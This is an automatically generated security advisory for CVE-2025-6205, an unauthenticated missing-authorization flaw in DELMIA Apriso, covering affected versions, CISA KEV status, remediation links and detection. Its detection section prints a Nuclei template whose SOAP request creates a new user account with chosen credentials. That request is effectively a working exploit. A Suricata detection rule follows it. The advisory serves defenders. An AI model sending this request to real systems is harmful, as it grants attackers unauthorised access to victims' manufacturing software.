CVE-2025-6205: Dassault Systèmes DELMIA Apriso Missing Authorization Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
A missing authorization vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could allow an attacker to gain privileged access to the application.
Description quoted from the CVE record (assigned by 3DS, published 2025-08-04).
Weakness: CWE-862 Missing Authorization
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.
- On CISA KEV since
- 2025-10-28
- US federal deadline
- 2025-11-18
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Also known as: BDU:2026-07553, CNNVD-202508-207, EUVD-2025-23493, GHSA-7pcv-gm7q-mj69
VEDAS cluster: VEDAS:FLOWINGFRAGRANCE
Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (6)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-6205.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2025/CVE-2025-6205.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2025/CVE-2025-6205.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-6205.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-6205.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-6205.rules
Vulnerability databases and vendor advisories (6)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-23493
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-7pcv-gm7q-mj69
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-6205
- Vulnerability database or vendor advisory: https://www.3ds.com/trust-center/security/security-advisories/cve-2025-6205
- Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-6205
- Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202508-207
4 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.737
very likely to be attacked soon - VEDAS
- 0.988
strong exploit evidence - On CISA KEV
- Yes, since 2025-10-28
Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Dassault Systèmes DELMIA Apriso | from Release 2020 Golden up to and including Release 2020 SP4 from Release 2021 Golden up to and including Release 2021 SP3 from Release 2022 Golden up to and including Release 2022 SP3 from Release 2023 Golden up to and including Release 2023 SP3 from Release 2024 Golden up to and including Release 2024 SP1 from Release 2025 Golden up to and including Release 2025 SP1 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
Exploit Observer also maps it to: 3ds delmia_apriso, dassault_systmes delmia_apriso.
How to fix it
CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://www.3ds.com/trust-center/security/security-advisories/cve-2025-6205
- https://nvd.nist.gov/vuln/detail/CVE-2025-6205
How to detect it
Nuclei template (active check)
DELMIA Apriso - Missing Authorization
A missing authorization vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could allow an attacker to gain privileged access to the application.
Name and description quoted from the template, written by VEDAS.
The template sends 1 request (POST /Apriso/MessageProcessor/FlexNetMessageProcessor.svc); it decides using dsl, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2025-6205.yamlShow the template (56 lines)
id: CVE-2025-6205
info:
name: "DELMIA Apriso - Missing Authorization"
author: vedas-arpsyndicate
severity: high
description: |
A missing authorization vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could
allow an attacker to gain privileged access to the application.
reference:
- https://www.exploit.observer/?keyword=CVE-2025-6205&match=exact
- https://subdomain.center/?engine=ammonites&keyword=delmia&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2025-6205
cwe-id: CWE-862
metadata:
verified: false
tags: cve,cve2025,delmia,apriso,unauth,intrusive,vuln,kev,vkev
variables:
username: "LAST"
password: "9"
http:
- raw:
- |
POST /Apriso/MessageProcessor/FlexNetMessageProcessor.svc HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml;charset=utf-8
Soapaction: "http://tempuri.org/IFlexNetMessageProcessor/ProcessMessageASync_v2"
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:ProcessMessageASync_v2>
<tem:xmlMessage><FlexNet_Employees xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="S:/SchemaRepository/XMLSchemas/FlexNet/FlexNet_Employees.xsd" Version="1.0"> 	<Employee> 		<GivenName>FIRST</GivenName> 		<FamilyName>LAST</FamilyName> 		<EmployeeNo>08262004</EmployeeNo> 		<LoginName>{{username}}</LoginName> 		<Password>{{password}}</Password> 		<HireDate>2000-06-01T00:00:00</HireDate> 		<SpokenLanguageID>1033</SpokenLanguageID> 		<WrittenLanguageID>1033</WrittenLanguageID> 		<EmployeeValidDate>2000-06-01T00:00:00</EmployeeValidDate> 		<LoginExpirationDate>9999-12-31T00:00:00</LoginExpirationDate> 		<EmployeeType>0</EmployeeType> 		<DefaultFacility>C1P1</DefaultFacility> 		<TrackLaborFlag>true</TrackLaborFlag> 		<ResourceID NodeType="Field"> 			<Resource_Insert> 				<Name>FIRST</Name> 				<ResourceName>FIRST</ResourceName> 				<ResourceType>1</ResourceType> 				<FUID NodeType="Field"/> 			</Resource_Insert> 		</ResourceID> 		<EmployeeRole> 			<EmployeeID NodeType="Field"/> 			<RoleID NodeType="Field"> 				<Role> 					<Role>Production User</Role> 				</Role> 			</RoleID> 		</EmployeeRole> 	</Employee> </FlexNet_Employees></tem:xmlMessage>
<tem:applicationName>myExternalApplication</tem:applicationName>
</tem:ProcessMessageASync_v2>
</soapenv:Body>
</soapenv:Envelope>
matchers:
- type: word
part: body
words:
- ProcessMessageASync_v2Response
- <ProcessMessageASync_v2Result>true</ProcessMessageASync_v2Result>
condition: and
extractors:
- type: dsl
dsl:
- '"Username: "+ username'
- '"Password: "+ password'
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-6205 DELMIA Apriso - Missing Authorization. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-6205 DELMIA Apriso - Missing Authorization"; flow:established,to_server; http.uri; content:"FlexNetMessageProcessor.svc"; nocase; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-6205; reference:url,https://www.exploit.observer/?keyword=CVE-2025-6205&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=delmia&match=exact; sid:1009029; rev:1;)
References
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-6205 (government-resource)
Other references
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.